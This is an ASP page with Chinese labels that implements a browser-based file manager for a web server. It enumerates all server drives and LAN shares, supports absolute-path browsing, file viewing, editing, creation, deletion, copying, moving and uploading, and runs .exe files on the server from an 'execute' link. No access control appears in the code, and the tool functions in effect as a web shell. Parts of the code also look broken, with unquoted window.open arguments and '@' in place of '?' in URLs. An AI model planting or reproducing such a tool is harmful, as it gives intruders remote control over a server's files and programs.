文件的读出 编辑 管理 |
|
<% urlpath="http://"&Request.ServerVariables("SERVER_NAME") dim cpath,lpath set fsoBrowse=CreateObject("Scripting.FileSystemObject") if Request("path")="" then lpath="/" else lpath=Request("path")&"/" end if if Request("attrib")="true" then cpath=lpath attrib="true" else cpath=Server.MapPath(lpath) attrib="" end if Sub GetFolder() dim theFolder,theSubFolders if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theSubFolders=theFolder.SubFolders Response.write"<a href=list.asp?path="&Request("oldpath")&"&attrib="&attrib&"><font color=#FF8000>■</font>↑<font color=ff2222>回上级目录</font></a><br>" Response.write"<table border=0 width=100% cellpadding=0>" For Each x In theSubFolders Response.write"<tr><td width=50%><a href=list.asp?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&">└<font color=#FF8000>■</font> "&x.Name&"</a> </td>" Response.Write "<td><a href=# onclick=javascript:window.open(delete.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders,hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);><font color=#FF8000 >×</font>删除</a></td>" Response.Write "<td><a href=# onclick=javascript:window.open(move.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders,hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);><font color=#FF8000 >×</font>移改</a></td>" Response.Write "<td><a href=# onclick=javascript:window.open(copy.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders,hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);><font color=#FF8000 >×</font>复制</a><br></td></tr>" Next Response.Write "</table>" end if End Sub Sub GetFile() dim theFiles if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theFiles=theFolder.Files Response.write"<table border=0 width=100% cellpadding=0>" For Each x In theFiles if Request("attrib")="true" then showstring="<strong>"&x.Name&"</strong>" else showstring="<a href=# onclick=javascript:window.open("&urlpath&lpath&server.urlencode(x.Name)&",hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);><strong>"&x.name&"</strong></a>" end if if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then showstring=showstring&"</td><td width=10%><A href=# onclick=javascript:window.open(fileop.asp@filename="&lpath&x.name&"&action=execute,hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);><font color=red>执行</font></a></td>" else showstring=showstring&"</td><td width=10%></td>" end if Response.write"<tr><td width=20%><font color=#FF8000>□</font>"&showstring&"<td width=15% align=right>"&x.size&"字节</td><td width=45%><a href=# title="&"类型："&x.type&chr(10)&"属性："&x.Attributes&chr(10)&"时间："&x.DateLastModified&"><font color=#FF8000 >？</font>属性</a><a href=# onclick=javascript:window.open(view.asp@path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&attrib="&attrib&",hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);><font color=#FF8000 >∝</font>查看</a><a href=# onclick=javascript:window.open(edit.asp@path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&attrib="&attrib&",hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);><font color=#FF8000 >∝</font>编辑</a><a href=# onclick=javascript:window.open(edit.asp@path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&op=del&attrib="&attrib&",hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);><font color=#FF8000 >×</font>删除</a><a href=# onclick=javascript:window.open(copy.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=files,hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);><font color=#FF8000 >＋</font>复制</a><a href=# onclick=javascript:window.open(move.asp@spath="&server.urlencode(lpath)&server.urlencode(x.Name)&"&aim=files"&",hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);><font color=#FF8000 >＋</font>移动</a></td></tr>" Next end if Response.write"</table>" End Sub %> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title></title> <meta name="GENERATOR" content="Microsoft FrontPage 3.0"> <style> <!-- table{ font-family: 宋体; font-size: 9pt } a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none } a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none } a:visited{ color: rgb(128,0,0) } --> </style> </head> <script language="JavaScript"> function crfile(ls) {if (ls==""){alert("请输入文件名!");} else {window.open(edit.asp?attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>+ls,hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);} return false; } function crdir(ls) {if (ls==""){alert("请输入文件名!");} else {window.open(edir.asp?attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>+ls,hyne_love_achye,toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400);} return false; } </script> <script language="vbscript"> sub rmdir(ls) if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为："&ls) then window.open("edir.asp?path="&ls&"&op=del&attrib=<%=request("attrib")%>") end if end sub sub copyfile(sfile) dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件："&sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10)&"[允许带路径,要根据你的当前路径模式]") dfile=trim(dfile) attrib="<%=request("attrib")%>" if dfile<>"" then if InStr(dfile,":") or InStr(dfile,"/")=1 then lp="" if InStr(dfile,":") and attrib<>"true" then alert "对不起，你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径：["&dfile&"]" exit sub end if else lp="<%=lpath%>" end if window.open("edit.asp?path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile) else alert"您没有输入文件名！" end If end sub </script> <body> <table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000" bordercolordark="#FFFFFF" cellspacing="0"> <tr> <td width="100%" bgcolor="#C0C0C0" colspan="2">※切换到相应盘符：<span style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><% For Each thing in fsoBrowse.Drives Response.write "◎<a href=list.asp?path="&thing.DriveLetter&":&attrib=true>"&thing.DriveLetter&":</a>" NEXT %> </span><br> [如果该盘在服务器上不存在，那么将不显示东西，你也可以更URL上的PATH值换换到其它路径上，支持局域网地址，如："\\pc01\c"]</td> </tr> <tr> <td width="100%" bgcolor="#C0C0C0" colspan="2">※<% if Request("attrib")="true" then response.write "<a href=list.asp>切换到相对路径编辑模式</a>" else response.write "<a href=list.asp?attrib=true>切换到绝对路径编辑模式</a>" end if %> ※绝对路径:<span style="background-color: rgb(255,255,255)"><%=cpath%></span></td> </tr> <tr> <td width="100%" bgcolor="#C0C0C0" colspan="2">※当前目录<font color="#FF8000">■</font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> <br> ※上传文件到当前目录<font color="#FF8000">■</font>:<span style="background-color: rgb(255,255,255)"><a href=../upfilein.asp?filepath=<%=server.urlencode(cpath)%> target=_blank>上传文件(文件大小最好不要超过500K)</a></span> </td> </tr><form name="newfile" onSubmit="return crfile(newfile.filename.value);"> <tr><td bgcolor="#C0C0C0" colspan="2">〖文件〗 注：只允许文本编辑|<input type="text" name="filename" size="20"><input type="submit" value="新建文件"><input type="button" value="新建目录" onclick="crdir(newfile.filename.value)"> </td> </tr></form> <tr> <td width="40%" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%> </td> <td width="60%" valign="top" bgcolor="#FFefdf"><%Call GetFile()%> </td> </tr> </table> </body> </html> |
